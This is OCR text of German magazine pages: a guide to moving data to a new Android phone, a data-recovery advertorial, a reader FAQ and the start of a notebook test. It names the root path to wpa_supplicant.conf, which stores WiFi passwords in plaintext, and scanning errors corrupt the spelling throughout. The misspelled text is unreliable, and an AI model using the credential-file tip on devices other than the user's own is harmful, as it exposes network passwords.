alle Kontakte ohne Cloud-Zwang als
VCF-Datei.

vielen Nutzern einen Grofteil des verfiig-
baren Smartphone-Speichers in Beschlag.
In solchen Fillen ist der Umzug ein guter
Anlass flr einen frischen Start, indem
man auf das Zuriickspielen eines Backups
verzichtet. Von seinen alten Konversatio-
nen muss man sich trotzdem nicht kom-
plett trennen: In den WhatsApp-Einstel-
lungen lassen sich unter Chats und Chat-
verlauf einzelne Chats als Textdateien
ohne Bilder exportieren. Sie nehmen nur
wenige Kilobyte in Anspruch und lassen
sich am PC mit jedem Texteditor 6ffnen.

Leichter haben es Nutzer des Messa-
ging-Dienstes Telegram. Er speichert samt-
liche Konversationen inklusive eingebette-
ter Fotos und Videos dauerhaft auf den Ser-
vern des Anbieters. Auf dem neuen Telefon
braucht man sich nur mit seiner Handy-
nummer anmelden und den per SMS emp-
fangenen Bestitigungscode in die App ein-
fiigen, worauf der gesamte Account schlag-
artig wieder zur Verfligung steht.

Jedoch lauert hier wie auch bei Whats-
app ein Fallstrick: Der Umzug aufs neue
Telefon klappt nur, wenn weiterhin diesel-
be Mobilfunknummer genutzt wird - sie
ist sozusagen der Generalschliissel zur
Identifikation des Nutzers.
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Wer mit dem Handy auch die Ruf-
nummer wechselt, benétigt fiir den
Umzug von WhatsApp und Telegram
beide Telefone mit Zugriff aufs Mobilfunk-
netz. Flir den Wechsel der Rufnummer 6ff-
net man auf dem bisherigen Telefon die
Telegram-App und tippt dort in den Ein-
stellungen unter ,, Info* auf die eigene Te-
lefonnummer. Im darauffolgenden Dialog
lasst sich die neue Nummer angeben. Te-
legram verschickt anschliefSend einen Be-
stiatigungs-Code per SMS an die neue
Nummer. Nachdem dieser in die Tele-
gram-App des neuen Telefons kopiert
wurde, meldet sich das alte Gerit von den
Telegram-Servern ab und der Wechsel ist
vollzogen. Bei Whatsapp funktioniert das
Prozedere praktisch genauso: Hier findet
sich der Dialog zur Anderung unter ,,Ein-
stellungen/Account/Nummer® dndern.

Beim ebenfalls populiren Messenger
Threema miissen Sie das Backup von
Hand anstoflen. Hierzu o6ffnen Sie das
Hauptment und wihlen dort ,Meine
Backups®. Dort lasst sich unter dem Reiter
»Daten-Backup“ der Export starten. In
dem hierbei im lokalen Speicher abgeleg-
ten ZIP-Archiv finden sich die Threema-ID
- also die eindeutige Nutzerkennung -,
die kryptografischen Schliissel, die Kon-
taktliste sowie Chats und deren Medien-
dateien. Das Archiv lédsst sich per Mail,
Cloud oder den Umweg iiber einen PC
aufs neue Handy kopieren. Auf dem neuen
Smartphone lasst es sich direkt im Einrich-
tungsdialog beim ersten Start von Three-
ma importieren.

Wer die Exportdatei nicht von Hand
kopieren mdchte, schaltet auf dem bishe-
rigen Smartphone alternativ unter dem
Reiter ,,Android-Backup® eine Cloud-Si-
cherung ein. Einstellungen, IDs und
Chats sichert Threema dann téglich in
Google Drive. Der Nachteil: In Chats ent-
haltene Fotos und Videos landen nicht
mit im Backup und sind nach dem Umzug
verloren.

Lohnenswerte Handarbeit

Ein Umzug aller installierten Apps ist mit
Android-Bordmitteln nicht moglich. Wer
seine Anwendungen auf dem neuen
Smartphone nicht mithsam einzeln zu-
sammensuchen will, ruft im Play Store
»Meine Apps und Spiele” auf und wechselt
dort auf den Reiter ,,Sammlung. Dort
werden nur die Apps aufgefiihrt, die man
bereits auf vorherigen Android-Geriten
installiert hatte; leider miillen deinstallier-
te Apps einem die Liste voll.
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In seltenen Fillen erscheinen dort
Apps mit dem Vermerk, dass sie fiir dieses
Gerit nicht verfligbar seien. Meist passiert
das, wenn ein Entwickler im Manifest der
App eine neue Displaygrofie, Auflosung
oder API-Level noch nicht eingepflegt hat.
Mit etwas Gliick laufen die Apps aber
trotzdem. Um sie zu installieren, legt man
auf dem alten Gerit beispielsweise mit
dem kostenlosen Dateimanager ,,Total
Commander* ein Backup der APK-Datei
der gewiinschten App an, kopiert sie aufs
neue Phone und installiert sie dort ma-
nuell. Das funktioniert jedoch nur bei kos-
tenlosen Apps.

Alternativ finden sich im Play Store
auch diverse Backup-Tools, die Apps
sichern und wiederherstellen. Als Um-
zugshelfer taugen sie wie die oben ge-
nannte Losung aber nur begrenzt: Nahe-
zu alle Apps liegen in verschiedenen
Kompilierungen fiir unterschiedliche
Hardware-Plattformen im Play Store. Bei
der Installation entscheidet der Store,
welche Datei zum eigenen Smartphone
passt. Unterscheidet sich die Hardware
von Quell und Zielgerit zu sehr, wird
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Chats und deren Fotos und Videos
sichert WhatsApp auf Wunsch bei
Google Drive. Der benétigte Speicher
wird nicht vom Frei-Volumen abge-
zogen.

eine manuell umgezogene App nicht
starten.

Backup-Apps sichern zudem die Ein-
stellungen der App nicht, weshalb hier oh-
nehin Eigeninitiative gefragt ist: Apps mit
umfangreichen Konfigurationsmoglich-
keiten, beispielsweise der populare Twit-
ter-Client Talon oder das Schweizer Ta-
schenmesser unter den Mailclients K9-
Mail, bieten in ihren Einstellungsmeniis
eine Exportfunktion, die alle Account-
und App-Einstellungen exportiert. Damit
lassen sich die Apps auf einem neuen
Gerit in nur wenigen Sekunden vollstan-
dig einrichten. Solche Exportfunktionen
ersparen auf dem Neugerit meist mehrere
Stunden hiandischer Konfiguration, wes-
halb es sich durchaus lohnt, die Apps des
Altgerats nach solchen Features zu durch-
suchen.

Etwas besser sieht die Lage bei neue-
ren Spielen aus. Sie nutzen die Dienste
von Google Play Games, um etwa Spiel-
stinde in der Cloud zu speichern. Da
diese Daten kaum die Privatsphére betref-
fen, bietet es sich vor dem Umzug an,
Spiele nach moglichen Play-Games-Log-

™ Totaicomman. B O
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Der Dateimanager TotalCom-
mander legt Backups von instal-
lierten Apps an. Deren Einstel-
lungen lassen sich ohne Root-
Rechte aber nicht mitnehmen.
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ins zu durchsuchen und sich mit seinem
Google-Account anzumelden. Manche
speichern ihre Spielstinde bei Facebook;
hier mag sich ein nur zu diesem Zweck an-
gelegter Facebook-Account lohnen, um
nicht versehentlich alle Facebook-Kontak-
te an den Spielehersteller zu schicken.

Bevor man das alte Gerit final aus
dem Verkehr zieht, sollte man es an den
PC anschliefden und noch einen Blick auf
die SD-Karte oder den zugénglichen in-
ternen Speicher werfen. Lohnende Ziele
sind hier die Ordner Download, DCIM,
Pictures, Movies, Music und Documents.
Dartiber hinaus legen etliche Apps eigene
Ordner an, die man zur Sicherheit auch
auf den PC kopiert. So enthélt der Ordner
WhatsApp alle Fotos und Videos, die man
jemals empfangen oder versendet hat.
Viele Apps speichern ihre Inhalte auch im
zuginglichen Bereich unter Android/Data
des gemeinsamen Speichers ab. Meist
sind die App-Ordner dort nach dem Na-
mensschema ,,com.Anbieter.App-Name*
sortiert. Im Zweifel kopiert man alles auf
den PC und schaut spéter, ob sich darin
verwertbare Dateien befanden.

Ein ehedem populédrer Weg zur App-
Sicherung klappt leider nicht mehr. Sofern
Sie in den Entwickleroptionen von An-
droid das USB-Debugging einschalten,
lasst sich Uber eine ADB-Shell (Android
Debug Bridge) am PC mit dem Befehl adb
backup -all -apk -shared -f c:\backup.ab
ein sehr umfangreiches Backup aller Apps

nebst ihren internen Einstellungen auf
dem PC anlegen. Mittels adb
c:\backup.ab lasst es sich zurtickschreiben.
Bei unseren Tests mit mehreren Handys
klappte das mit Android 6 oder hoher aber
nicht mehr.

restore

Profi-Backup - fiir Rootler

Fein raus sind Nutzer, die ihr Smartphone
gerootet und sich so Zugriff auf die gesam-
te Systempartition verschafft haben - etwa
mit einem CustomROM. Damit ist es mit
Tools wie dem populédren Titanium Back-
up oder einigen anderen der in [3] getes-
teten Backup-Apps moglich, nicht nur ein-
zelne Apps zu sichern, sondern auch
deren Einstellungen. Spielt man solche
Backups auf dem Zielgerit zurlick - das
dann ebenfalls ein gerootetes Android er-
fordert -, werden alle internen App-Ein-
stellungen 1:1 ibernommen.

Dazu gibt es zwei Techniken: Zum
einen werden nur die benotigten App-Da-
teien kopiert, was je nach App-Versionen
mal gut geht, mal nicht. Zum anderen si-
chert Titanium die Apps und samtlicher
ihrer internen Daten aus dem gesicherten
Speicherbereich von Android.

Das Zuriickspielen dieser kompletten
Backups sorgt aber fiir Probleme, wenn
sich die Hardware oder die Android-
Version zwischen Quell- und Ziel-Gerit
unterscheidet. Statt also etliche Megabyte
potenziellen Datenmill aufs neue
Smartphone zu schaufeln, sollte ein

Der Android-Umzugshelfer _
kopiert Daten und Einstellungen
aufs neue Telefon.
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Umzug eher Anlass sein, mal auszumisten
und sich von alten und kaum noch genutz-
ten Apps zu trennen.

Auch wenn Backup mit Root zuverlis-
siger und verlockend klingt, hat es einige
Schattenseiten: Wer extra flir den Umzug
rooten will, muss in der Regel das Be-
triebssystem neu aufs Handy flashen. Das
geht immer mit einem vollstdndigem Zu-
riicksetzen des Smartphones einher -
sprich: die Dinge, die man eigentlich si-
chern wollte, sind auf jeden Fall futsch.
Zudem laufen viele Apps wie etwa Netflix,
manche Spiele und Homebanking- und
Mobil-Payment-Apps nicht auf Geriten
mit Root-Zugriff.

Sehr hilfreich ist ein Root-Zugriff hin-
gegen flir die Sicherung gespeicherter
WLAN-Zugénge: Wer einen Root-fihigen
Dateimanager besitzt, navigiert damit
einfach nach /data/misc/wifi/ und kopiert
die Datei wpa_supplicant.conf per Cloud,
SD-Karte, USB oder PC an die gleiche
Stelle aufs neue Handy. Sie enthilt alle
Passworter im Klartext.

Ohne Root bleibt nur die Losung, in
den Konto-Synchronisations-Einstellun-
gen die Sicherung von WLANs in der
Google-Cloud zu aktivieren. Dann muss
man jedoch akzeptieren, dass sensible
WLAN-Passworter auf US-amerikani-
schen Cloud-Servern landen. Zudem hilft
das Cloud-Backup nicht, um ein vergesse-
nes WLAN-Passwort nachzuschlagen. An-
droid verhilt sich hier wie eine Blackbox:
Einmal eingerichtet, lasst sich ein WLAN-
Passwort nicht mehr anzeigen.

Insgesamt ist das handische Umzie-
hen aufwendiger als mit den Tools der
Hersteller oder dem einigermafen funk-
tionierenden Umzugshelfer von Android
selbst. Trotzdem lohnt sich der Aufwand
handischer Sicherungen, wenn man sie
als das versteht, was sie eigentlich sind:
Backups. Die machen sich spétestens
dann bezahlt, wenn das neue Handy ein
kaputtes oder verlorenes Gerit ersetzen
soll. Denn dann besteht keine Chance
mehr, die Daten vom Altgerit zu kopieren.

(spo@ct.de) €&
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Bobe Speditions GmbH setzt auf Express-Datenrettung
durch Leipziger Dienstleister DATARECOVERY

Fallstudie iiber vmWare Datenrettung: Komplexe Wiederherstellung von
4.100 GB aus vSphere Storage Appliance (VSA)

An einem Freitagmorgen, kurz vor
dem Wochenende, bemerkten die
Mitarbeiter der Bobe Speditions
GmbH, dass weder Zugriff auf die
Warenwirtschaft moglich war noch
die netzwerkbasierten Print-Services
genutzt werden konnten - ein Zustand,
der dringenden Handlungsbedarf
erforderte, denn es drohte der Verlust
von  wichtigen Daten. Eine
vergleichbare Situation gab es bisher
nicht, es musste jedoch schnell
reagiert werden.

“Innerhalb von 24h
hatten wir ein pra-
zises Diagnose-
ergebnis.”

Mirco Fink, Leiter der Lager- &
Kontraktlogistik der  Spedition,
wendete sich sofort an ein renommiertes
IT-Systemhaus aus der Region. Alexan-
der Aust, Leiter des Rechenzentrums
der CSM MeinSystemhaus GmbH&
Co. KG, wies seine Kollegen aus dem
Onsite Support umgehend an, sich vor
Ort einen Uberblick iiber die Lage beim
bislang nicht bekannten Auftraggeber zu
verschaffen. Schnell erkannten diese ein
Datenproblem an den Servern. Ein
aktuelles und funktionelles Backup
konnte nicht wiederhergestellt werden.
Um einen finalen Datenverlust zu
verhindern, zog das Team sofort seinen
Partner DATARECOVERY aus Leipzig
zum Fall hinzu.

Per Kurier wurden die Serverfestplatten
an den Labor-Standort nach Leipzig
transportiert, wo die Reverse-Spezialis-
ten nach wenigen Stunden mechanische
Probleme an verschiedenen Datentrigern
und vielfache logische Beschiddigungen
durch partiell destruktive Schreib-
vorginge diagnostizierten.

Lars Miiller, Technischer Leiter bei
DATARECOVERY erklirt: “Ein
lokaler Stromausfall und das Ausblei-
ben der USV-Uberbriickung sorgten
fiir ein hartes Ausschalten der zuvor
ununterbrochen laufenden Systeme.

In  Kombination mit einem
ungewohnlichen Setup der virtuellen
Storage-Umgebung kam es zu dem
Totalausfall der beiden RAIDs.”

Sofort nach der Kundenfreigabe
begab sich das vmWare Kompe-
tenz-Team von DATARECOVERY an
die Wiederherstellung der mehrfach
verkapselten virtuellen Daten. Aufgr-
und der vorhandenen Abstraktionse-
benen und dem Einsatz von insgesamt
drei verschiedenen Dateisystemen
gestaltete sich der Ablauf komplex.
Zuvor erfolgten erforderliche Repara-
turen an Datentrigern im Reinraumla-
bor, so dass Rohdaten aus den mecha-
nisch defekten Medien ausgelesen
werden konnten.

Die CSM MeinSystemhaus GmbH &
Co. KG iibernahm anschlieBend die
Migration der wiederhergestellten
Daten in die neue Infrastruktur. Alex-
ander Aust erinnert sich: | Fiir die
Speditionsmitarbeiter war damit ein
nahezu reibungsloser Ubergang
moglich. Noch wihrend in Leipzig
die verlorenen Bits und Bytes wieder
zusammengeschoben wurden, hatten
wir mit dem Auftraggeber bereits ein
Folgekonzept erarbeitet.”

Mirco Fink von der Bobe Speditions
GmbH zeigt sich zufrieden mit der
durchgehenden  Bearbeitung durch
DATARECOVERY und der koopera-
tiven Zusammenarbeit mit dem IT-Sys-
temhaus vor Ort:

“Innerhalb von 24h hatten wir ein
prizises Diagnoseergebnis und eine
Einschitzung zur Wiederherstellung
unserer virtuellen Maschinen. Die
Zusammenarbeit war konstruktiv und
zuverldssig. Trotz Wochenende hatten
wir durchgehend einen Ansprechpart-
ner. Direkt im Anschluss konnten
unsere wiederhergestellten Daten in
das neue System integriert werden, so
dass kein weiterer Verzug entstand.”

Q DATARECOVERY
Fallstudie Zusammenfassung

System: Intel Server mit vSphere Storage
Appliance (vSA)

Datentrager: 8 x 900GB + 4 x 300GB SAS HDD
RAID-Array: 2 x RAID 5 als JBOD + 1 RAID 1
Dateisystem: 2 x EXT4 innerhalb VMFS, NTFS in VMDK

Schaden: mechanischer Defekte an HDDs, und
logische Beschadigungen iiber alle virt. Ebenen

Ursache: Stromausfall in Kombination mit defekter
USV, Back-Up veraltet

Betroffene Daten: 16 virtuelle Datentrager
(VMDK), u.a. Warenwirtschaft, Domaincontroller
und EDO Server fiir Managed Print Services.
Erfolgreich wiederhergestellte Datenmenge: 4,1
Terrabyte, 100%

Kontaktdaten:

DATARECOVERY® Datenrettung
Nonnenstralle 17, 04229 Leipzig

24h Telefon: +49 (0) 341 /392817 89

E-Mail:
kundendienst@datarecovery-datenrettung.de

Internet:
www.datarecovery-datenrettung.de

Partnerprogramm fiir [T-Systemhéuser:
www.datarecovery-datenrettung.de/partner/
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Zwei-Faktor-Sicherung

Ich habe viele Zuginge per Zwei-Fak-

tor-Authentifizierung geschiitzt, da-
runter Dropbox, Evernote, Google und
Amazon. Wie kriege ich die Einstellungen
im Google Authentificator umgezogen?

Wir kennen keinen Weg, um die

Daten des Google Authentificator, die
sogenannten Seeds, zu libertragen. In ¢t
24/2018, Seite 178 beschreiben wir zwei
Verfahren, die zumindest zukiinftige Um-
zlige vereinfachen.

Eine Losung ist, statt der Google-
App die kompatible App Authy zu nutzen.
Sie erlaubt Backups der Seeds, die - ver-
schliisselt natiirlich - auf Google Drive
gespeichert werden. Um ans Backup he-
ranzukommen, muss aber wie bei Whats-
App die alte SIM im Zugriff sein oder eine
aktive Authy-Instanz auf einem anderen
Gerit laufen, etwa dem PC. Die zweite
Losung ist, die Seeds jedes registrierten
Dienstes an einer sicheren Stelle zu
speichern, was der Artikel genauer er-
Kklart.

Speicherkarten

Kann ich nicht einfach meine SD-
Karte ins neue Handy stecken und
alles lauft?

Nein. Android speichert auf einer SD-

Karte von sich aus gar nichts, sondern
jede App entscheidet selbst, was sie wo
speichert. Einige Apps - etwa viele vorin-
stallierte Kamera-Apps - stellen automa-
tisch um, andere muss man manuell um-
stellen, wieder andere nutzen SD-Karten
gar nicht. Die SD-Karten konnen Sie zwar
ins neue Handy einsetzen, aber besten-
falls finden die umgestellten Apps dort
ihre Daten wieder - schon deren Konfigu-
ration fehlt im Allgemeinen.

Seit einigen Versionen unterstiitzt An-
droid alternativ eine SD-Karte als ,,inter-
nen Speicher® zu formatieren. Dann lan-
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Android umziehen

Der Umzug aufs neue Smartphone klappt selten vollstindig, egal ob
man den Tools von Google und den Herstellern traut, oder ob man selbst
Hand anlegt. Hier finden Sie ein paar weitere Detaillésungen.

Von Jorg Wirtgen

den automatisch zwar viel mehr Daten
dort, aber auch das hilft nicht beim
Umzug: Zum einen fehlen immer noch die
Apps selbst sowie alle Konfigurationen
und private Daten, zum anderen ver-
schliisselt Android diese Speicherkarten,
sodass sie im neuen Handy nicht lesbar
sind.

Lightroom

Ich nutze Lightroom an meinem PC,

und zwar die Mietversion. Ist da nicht
eine Mobilversion mit Cloudanbindung
dabei, die ich vielleicht zum Umzug nut-
zen konnte?

Ja, in den Lightroom-Paketen fiir 12

Euro im Monat sind auch Android-
und 10S-Apps samt etwas Cloud-Speicher
bei Adobe inbegriffen. Selbst wenn Sie die
Fotosammlung Thres PCs auf keinen Fall
der Adobe-Cloud anvertrauen wollen,
lohnt sich ein Blick auf Lightroom CC Mo-
bile rein flir Thre Handy-Fotos. Damit ge-
lingt nicht nur der Umzug, sondern auch
ein automatisches Backup samt Import in
Thren Lightroom-Katalog.

Die App kopiert auf Wunsch alle mit
der Kamera aufgenommenen Fotos in die
Cloud, erlaubt umfangreiche Bearbeitun-
gen schon auf dem Handy und synchro-
nisiert alles mit Threm Lightroom-Kata-
log. Wenn Sie Lightroom am PC 6ffnen,
tauchen die Handy-Fotos nach der auto-
matischen Synchronisierung auf - inklu-
sive aller in der App getitigten Bearbei-
tungsschritte. Lightroom unterscheidet
dabei sauber zwischen lokalen Ordnern
und synchronisierten Sammlungen. Alle
Thre bisherigen Fotos bleiben unangetas-
tet lokal liegen, solange Sie sie nicht ex-
plizit in eine synchronisierte Sammlung
stellen. Wenn Sie die Handy-Fotos in
einen nicht synchronisierten Ordner ver-
schieben, werden die Originale aus der
Cloud geldscht und belegen dort keinen
Platz mehr.

Kontakte, Termine,
Aufgaben, Notizen

Kontakte von einem Handy aufs

nichste kopieren oder auf der SIM
speichern, das ist doch sowas von 90er.
Wie synchronisiere ich das alles zeitgemaf3
zwischen allen Mobilgeriten und PC, ohne
alles Google in den Rachen zu werfen?

Am problemlosesten geht das mit

einem Exchange-Server, der Active-
Sync spricht. Exchange kiimmert sich
nicht nur um die Mails, sondern speichert
im gleichen Account auch Kontakte, Ter-
mine, Aufgaben und Notizen. Der einge-
baute Exchange-Client von Android war
frither nicht gut, ist inzwischen aber aus-
gelagert in Gmail und durchaus empfeh-
lenswert. Er stellt Kontakte und Termine
allen anderen Apps zur Verfligung, be-
herrscht aber keine Aufgaben und keine
Notizen. Ein Exchange-Client mit inte-
grierter Aufgaben- und Notizverwaltung
ist beispielsweise die Mail-App Nine.

Auf Server-Seite gibts bei Microsoft
kostenlose Exchange-Accounts, die aber
wie Google in den USA speichern. Viele
Mail-Provider bieten auch Exchange-Zu-
ginge an. Bei einigen wie Mailbox.org
sind sie nicht aufpreispflichtig, bei ande-
ren wie 1&1 und Strato kosten sie um 5
Euro pro Monat.

Wieder andere Provider sowie die
meisten fiir eigene Heimserver geeigneten
Pakete haben fiir Kontakte und Termine
nur die Protokolle CalDAV und Card DAV
im Angebot. Die beherrscht Android
immer noch nicht, sodass man zusatzliche
Apps benétigt, die CardDAV-Kontakte und
CalDAV-Termine dann allen weiteren
Apps zur Verfligung stellen. Gut funktio-
niert das kostenlose ,,Dienste des Black-
Berry Hub+“, das sich ganz allein ohne den
BlackBerry-Hub und auch auf Nicht-Black-
Berry-Geriten installieren ldsst. Alternativ
gibt es die mindestens ebenso zuverléssi-
gen, aber kostenpflichtigen Apps CalDAV-
Sync und CardDAV-Sync von Marten
Gajda, jetzt dmfs GmbH.  (jow@ct.de)
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Mobile Mitte

15,6-Zoll-Notebooks um 600 Euro mit
Quad-Core, SSD und mattem Bildschirm

MittelgroBe Notebooks mit 15,6-
Zoll-Bildschirmen sind besonders
beliebt. Bei aktuellen Geriten der
600-Euro-Klasse gehéren schnelle
Vierkern-Prozessoren und SSDs
zum guten Ton.

Von Florian Miissig

bwohl sich die meisten Notebook-In-

novationen bei 13,3-Z6llern abspie-
lenund alle Hersteller ihre Flaggschiffe in
dieser Grofde bauen, werden die grofiten
Stiickzahlen weiterhin bei den 15,6-Zoll-
Geriten umgesetzt. Technik fiir mehr als
1500 Euro kann oder will sich nicht jeder
leisten; als reguléres Arbeitsgerit auf dem
Schreibtisch ist die 13,3-Zoll-Klasse etwas
zu klein. 15,6-Zoll-Notebooks sind hinge-
gen immer noch kompakt genug fiir den
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Transport im Rucksack und bieten alltags-
tauglich grofde Bildschirme.

Hohe Verkaufszahlen und weniger
Anstrengungen fiir die Entwickler schla-
gen zudem auf den Preis durch: Wihrend
13,3-Zoller mit ordentlicher Ausstattung -
darunter verstehen wir aktuell einen Vier-
kern-Prozessor und eine SSD - rund 800
Euro kosten [1], bekommt man dhnlich
bestiickte 15,6-Zoll-Notebooks schon ab
etwa 600 Euro. Wir haben fiir diesen Test
fiinf Exemplare zwischen 580 und 680
Euro ins Labor geholt: Acer Aspire 5
(A515-52G), Asus VivoBook X540UA,
Dell Inspiron 15 (3576), HP 15 (da0406ng)
und Lenovo IdeaPad 330S-15IKB.

Zwar hatten noch mehr Gerite unsere
Kriterien erfiillt, doch sie waren allesamt
teuer. Bei manchem vermeintlichen
Schnippchen, das man etwa in Preis-
vergleichen entdeckt, sollte man lieber
genau die Details studieren: Womoglich
ist keine Windows-Lizenz dabei.

Brauchbare Bildschirme

Die flinf Auserwihlten aus der Mittelklasse
bringen Annehmlichkeiten mit sich, die wir
nicht explizit bei der Auswahl vorausge-
setzt hatten. So zeigen alle Displays Full-
HD-Auflosung; die bei billigen Geriten
verbreitete magere 1366er-Auflosung [2]
bleibt einem erspart. Noch hohere Auflo-
sungen sind der Oberklasse vorbehalten.

Gleichfalls haben alle fiinf Notebooks
Panels mit matten Oberflachen. Dies ist
weniger dem Preissegment geschuldet,
sondern vielmehr der Tatsache, dass es
keine Touchscreens sind: Bei spiegelnden
Bildschirmen erwarten Nutzer heutzutage
Fingerbedienbarkeit. Mit einem matten
Display vermeiden die Hersteller unzu-
friedene Kunden wegen unerfiillter unter-
bewusster Anspriiche, was sich in hoheren
Riicklauferquoten oder Support-Anrufen
manifestieren wiirde.

Einzig Lenovo verwendet ein blick-
winkelstabiles IPS-Panel. Bei den vier an-
deren Notebooks dndern sich Farben und
Kontrast mit dem Blickwinkel; dunkle
Fliachen erscheinen bei flachen Winkeln
invertiert. Die Maximalhelligkeiten liegen
zwischen knapp 200 und knapp 240 cd/m?
und sind damit praktisch identisch: Es
reicht fiir den Betrieb in sonnendurchflu-
teten Zimmern aus.

In allen Kandidaten kiimmert sich die
in den Prozessoren integrierte Grafikein-
heit Intel UHD 620 um die Bildschirm-
ansteuerung. In den Notebooks von Acer
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und Dell stecken zusitzlich Einsteiger-
GPUs, dank derer man in 3D-Spielen mit
comicartiger Grafik - etwa die Sims oder
Online-Titel wie DOTA 2 - mehr Details
und Effekte einschalten kann, ohne dass
es ruckelt. Fiir Blockbuster-Spiele a la Batt-
lefield 5 mit fotorealistischen Spielwelten
reichen die Zusatz-GPUs nicht aus; flir ru-
dimentires 3D wie etwa Google Earth ge-
niigt auch die integrierte Intel-GPU. Letz-
tere enthilt auch Hardware-Einheiten,
dank derer die CPU Videos in allen gingi-
gen Codecs ohne Last abspielen kann.
Die Vierkern-Prozessoren aus der
achten Core-i-Generation entstammen
zwei Baureihen: Im Acer-Notebook arbei-
tet Whiskey Lake, in den anderen Kaby
Lake Refresh. Wihrend Acer mit einer ho-
heren Single-Thread-Leistung aufwartet,
hat der Generationsunterschied keinen
Einfluss bei der Auslastung aller Kerne:
Die hingt bei modernen Notebooks
hauptsichlich vom Kiihlsystem ab. Der
Core 15-8250U im Lenovo-Notebook
schafft deshalb nur 427 Punkte im CPU-
Benchmark Cinebench R15, wihrend die-
selbe CPU bei Dell 599 Punkte erzielt.

USB-C light

Die Unterschiede zwischen den beiden
CPU-Baureihen liegen im Chipsatz, der
Teil des CPU-Packages ist: Whiskey Lake
enthilt einen USB-3.1-Gen-2-Controller
(SuperSpeedPlus, 10 GBit/s), wihrend
Kaby Lake Refresh nur USB 3.1 Gen 1 alias
USB 3.0 (SuperSpeed, 5 GBit/s) bietet. Al-
lerdings spielt Acer diese Trumpfkarte
nicht aus: Auch dort haben wir bestenfalls
Gen-1-Datenraten gemessen.

Wihrend bei Lenovo alle Buchsen
USB 3.0 konnen, haben die vier anderen
mindestens eine, die lediglich USB 2.0
spricht. Besonders drastisch ist das bei
Asus, weil hier nur eine der drei Buchsen
USB 3.0 beherrscht; bei den anderen gibt
es immerhin zwei flotte Buchsen. Die SD-
Kartenleser sind bei den meisten Kandi-
daten ebenfalls nur per USB 2.0 angebun-

den, was schnelle Speicherkarten massiv
ausbremst. Acers per PCle angebundener
Kartenleser ist schneller, aber dennoch
nichts fiir besonders flotte SD-Karten
nach UHS-II-Standard.

Die Notebooks von Acer und Lenovo
bieten je eine USB-Buchse im modernen
Typ-C-Format, doch leider ohne Zusatz-
funktionen: In beiden Geriten kommen
weder DisplayPort-Signale heraus noch
lassen sich die Notebook-Akkus dariiber
laden - damit fallt USB-C-Docking flach.

Alle Kandidaten haben anforderungs-
gemafd SSDs, dennoch gibt es Unterschie-
de. Asus, Dell und Lenovo bieten 256-
GByte-SSDs. Acer und HP setzen hingegen
jeweils auf eine 128er-SSD fiir Windows
und Anwendungen plus eine 1-TByte-Fest-
platte als langsameres, aber groferes Da-
tengrab fiir Bilder, Musik und Videos. Le-
novo verwendet eine rasante NVMe-SSD,
die anderen SSDs sind per SATA angebun-
den. Den Unterschied kann man messen,
aber nicht spiiren: Alle Gerite fiihlen sich
flott an, booten schnell und betrachten die
Installation neuer Windows-10-Versionen
nicht als Wochenendaufgabe. Die 128-
GByte-SSDs bei Acer und HP haben ge-
ringe Schreibraten, doch sie liegen immer
noch tiber denen einer 2,5-Zoll-HDD.

Die Gehiuse von Dell und HP bieten
Einschubschichte fiir optische Laufwerke,
doch nur HP bestiickt das Notebook tat-
siachlich mit einem DVD-Brenner. Dell be-
fiillt den Schacht des Inspiron 15 (3576) mit
einem leeren Plastikrahmen.

Die WLAN-Module bei Acer und
Asus hantieren mit zwei Datenstromen
gleichzeitig und erzielen dadurch einen
hoheren Datendurchsatz als die Konkur-
renz mit Single-Stream-Adaptern. Immer-
hin: Alle funken sowohl im 2,4- als auch
im 5-GHz-Band.

Wenig Schmankerl

Weil die Hersteller im gewihlten Preis-
segment anders als bei High-End-Note-
books jeden Cent dreimal umdrehen und

Notebooks | Test

genau kalkulieren, um gewisse Preispunkte
zu treffen, findet man nur wenig komfort-
bringenden Schnickschnack. Einen Hellig-
keitssensor, tiber den der Bildschirm seine
Helligkeit passend zur Umgebung justiert,
ist im Testfeld nirgends vorgesehen. Auch
auf biometrische Sensoren, also Finger-
abdruckleser oder IR-Kamera, muss man
verzichten, weshalb man sich nicht be-
quem mittels Windows Hello einloggen
kann.

Acer hebt sich mit einer beleuchteten
Tastatur aus dem Testfeld ab; das Note-
book ist allerdings auch das teuerste Mo-
dell darin. Bei Acer und Lenovo bestehen
die Deckel aus Metall, Asus und HP sehen
nur danach aus. Der Rumpfist tiberall aus
Kunststoff gefertigt.

Trotz sehr dhnlicher Komponenten va-
riieren die Laufzeiten stark: zwischen we-
niger als sieben Stunden (Lenovo) und bis
zu zwolf Stunden (Dell). Ein Teil der Erkla-
rung sind die unterschiedlichen Akku-Ka-
pazititen; Lenovo baut ndmlich nur einen
mit geringer Kapazitét (26 Wh) ein. Ein an-
derer sind unterschiedliche starke Opti-
mierungen hinsichtlich des Stromver-
brauchs, weshalb das Dell-Notebook mit
40-Wh-Akku lidnger durchhilt als das
Acer-Gerit mit 50-Wh-Akku. Ohne Werk-
zeug lasst sich der Akku nur bei Dell wech-
seln. Service-Klappen ins Innere gibt es nir-
gends.

Bei HP lduft auch bei geringer Last
immer der Liifter leise mit, was man in ru-
higen Umgebungen hort. Das Dauersiu-
seln ist allerdings angenehmer als das Ver-
halten des Asus-Kiihlsystems: Hier schal-
tet sich der Liifter ab, doch schon kleinste
Last wie das Offnen des Startmeniis sorgt
dafiir, dass er anlduft - das ist nervig. Die
anderen drei bleiben in solchen Fillen
weiterhin lautlos.

Fazit

Trotz enger Vorgaben hinsichtlich CPU
und SSD und eines dhnliches Preisrah-
mens interpretieren die Notebook-Her-

15,6-Zoll-Notebooks mit Quad-Core, SSD und mattem Bildschirm - Testergebnisse
[hoiol 0/ Gou | Lt e L) o] v s/ | Obssong | 5Dl fp9__|
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Acer Aspire 5 (A515-52G)
Asus VivoBook X540UA

Core i5-8265U / MX130
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Dell Inspiron 15 (3576) Core i5-8250U / R520

HP 15 (da0406ng) Core i5-8250U / UHD 620
Lenovo IdeaPad 330S-15IKB  Core i5-8250U / UHD 620
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Acer Aspire 5 (AS515-52G)

Mit 680 Euro StraBenpreis ist das Aspire 5 (AS515-52G) das
teuerste Exemplar im Testfeld, aber auch das mit dem neu-
esten Innenleben: Der Prozessor entstammt der erst wenige
Monate alten Whiskey-Lake-Baureihe. Acer nutzt dessen neue
Chipsatz-Funktionen allerdings nicht aus: Keine USB-Buchse
spricht USB 3.1 Gen 2 (SuperSpeedPlus, 10 GBit/s). Den ho-
heren Turbo-Takt der CPU kann das Aspire 5 nur bei Last auf
einem Kern ausfahren: Asus, Dell und HP ziehen trotz laut
Datenblatt schwacherem Prozessor bei Multi-Thread-Last teils
deutlich vorbei.

